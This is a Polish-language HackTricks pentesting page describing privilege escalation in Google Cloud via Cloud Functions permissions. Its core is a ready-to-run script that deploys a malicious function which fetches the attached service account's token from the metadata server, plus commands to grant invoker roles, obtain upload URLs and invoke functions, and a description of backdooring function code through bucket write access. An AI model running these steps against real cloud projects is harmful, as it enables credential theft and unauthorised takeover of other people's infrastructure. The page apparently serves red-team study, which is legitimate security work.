GCP - Cloudfunctions Privesc

Tip

Ucz się & ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Wspieraj HackTricks

cloudfunctions

More information about Cloud Functions:

GCP - Cloud Functions Enum

cloudfunctions.functions.create , cloudfunctions.functions.sourceCodeSet, iam.serviceAccounts.actAs

Atakujący z tymi uprawnieniami może utworzyć nową Cloud Function z dowolnym (złośliwym) kodem i przypisać jej Service Account. Następnie leakować Service Account token z metadata, aby eskalować uprawnienia do niego.
Mogą być wymagane dodatkowe uprawnienia do wywołania funkcji.

Skrypty exploitów dla tej metody można znaleźć here i here a gotowy plik .zip można znaleźć here.

cloudfunctions.functions.update , cloudfunctions.functions.sourceCodeSet, iam.serviceAccounts.actAs

Atakujący z tymi uprawnieniami może zmodyfikować kod funkcji, a nawet zmienić przypisany Service Account w celu exfiltracji tokena.

Caution

W celu wdrożenia cloud functions będziesz również potrzebować uprawnień actAs do domyślnego compute Service Account lub do Service Account używanego do budowy obrazu.

Mogą być wymagane dodatkowe uprawnienia, takie jak uprawnienie .call dla wersji 1 cloudfunctions lub rola role/run.invoker do wywołania funkcji.

# Create new code
temp_dir=$(mktemp -d)

cat > $temp_dir/main.py <<EOF
import subprocess

def main(request):
cmd = "curl -s -f -H 'Metadata-Flavor: Google' 'http://metadata/computeMetadata/v1/instance/service-accounts/default/token'"
result = subprocess.check_output(cmd, shell=True, text=True)
return result
EOF

echo "" > $temp_dir/requirements.txt

zip -r $temp_dir/function.zip $temp_dir/main.py $temp_dir/requirements.txt

# Update code
gcloud functions deploy <cloudfunction-name> \
--runtime python312 \
--source $temp_dir \
--entry-point main \
--service-account <sa>@$PROJECT_ID.iam.gserviceaccount.com \
--trigger-http \
--allow-unauthenticated

# Get SA token calling the new function code
gcloud functions call <cloudfunction-name>

Caution

Jeśli otrzymasz błąd Permission 'run.services.setIamPolicy' denied on resource... to dlatego, że używasz parametru --allow-unauthenticated i nie masz wystarczających uprawnień.

Skrypt exploit dla tej metody można znaleźć here.

cloudfunctions.functions.sourceCodeSet

Dzięki temu uprawnieniu możesz uzyskać signed URL, pozwalający przesłać plik do bucketu funkcji (kod funkcji nie zostanie jednak zmieniony — nadal musisz go zaktualizować)

# Generate the URL
curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/locations/{location}/functions:generateUploadUrl \
-H "Authorization: Bearer $(gcloud auth application-default print-access-token)" \
-H "Content-Type: application/json" \
-d '{}'

Nie jestem do końca pewien, jak przydatne jest samo to uprawnienie z perspektywy atakującego, ale warto wiedzieć.

cloudfunctions.functions.setIamPolicy , iam.serviceAccounts.actAs

Przyznaj sobie dowolne z poprzednich uprawnień .update lub .create, aby eskalować.

gcloud functions add-iam-policy-binding <NOMBRE_FUNCION> \
--region=<REGION> \
--member="<MIEMBRO>" \
--role="roles/cloudfunctions.invoker"

cloudfunctions.functions.update

Posiadanie wyłącznie uprawnień cloudfunctions, bez iam.serviceAccounts.actAs, sprawia, że nie będziesz w stanie zaktualizować funkcji — WIĘC TO NIE JEST PRAWIDŁOWY PRIVESC.

Wywoływanie funkcji

Dzięki uprawnieniom cloudfunctions.functions.get, cloudfunctions.functions.invoke, run.jobs.run, oraz run.routes.invoke, tożsamość może bezpośrednio wywołać Cloud Functions. Konieczne jest również, aby funkcja zezwalała na ruch publiczny, albo aby wywołujący znajdował się w tej samej sieci co sama funkcja.

curl -X POST "https://<FUNCTION_URL>" \
-H "Authorization: bearer $(gcloud auth print-identity-token)" \
-H "Content-Type: application/json" \
-d '{  "name": "Developer" }'

Dostęp do odczytu i zapisu do bucketu

Jeśli masz dostęp do odczytu i zapisu do bucketu, możesz monitorować zmiany w code i za każdym razem, gdy nastąpi aktualizacja w bucketu możesz podmienić nowy code na własny, tak że nowa wersja Cloud Function będzie uruchamiana z przesłanym backdoored code.

Możesz sprawdzić więcej o tym ataku w:

GCP - Storage Privesc

Jednak nie możesz użyć tego do wstępnego kompromitowania Cloud Functions stron trzecich, ponieważ jeśli utworzysz bucket w swoim koncie i nadasz mu uprawnienia publiczne, aby zewnętrzny projekt mógł nadpisać jego zawartość, otrzymasz następujący błąd:

Caution

Może to jednak być użyte do ataków DoS.

Dostęp do odczytu i zapisu do Artifact Registry

Kiedy tworzona jest Cloud Function, nowy docker image jest wysyłany do Artifact Registry projektu. Próbowałem zmodyfikować image na nowy, a nawet usunąć bieżący image (oraz cache image) i nic się nie zmieniło — Cloud Function nadal działała. Z tego powodu być może możliwe byłoby nadużycie Race Condition attack podobnie jak w przypadku bucketu, aby zmienić docker container, który zostanie uruchomiony, ale samo zmodyfikowanie przechowywanego image’a nie pozwala na kompromitację Cloud Function.

Referencje

Tip

Ucz się & ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Wspieraj HackTricks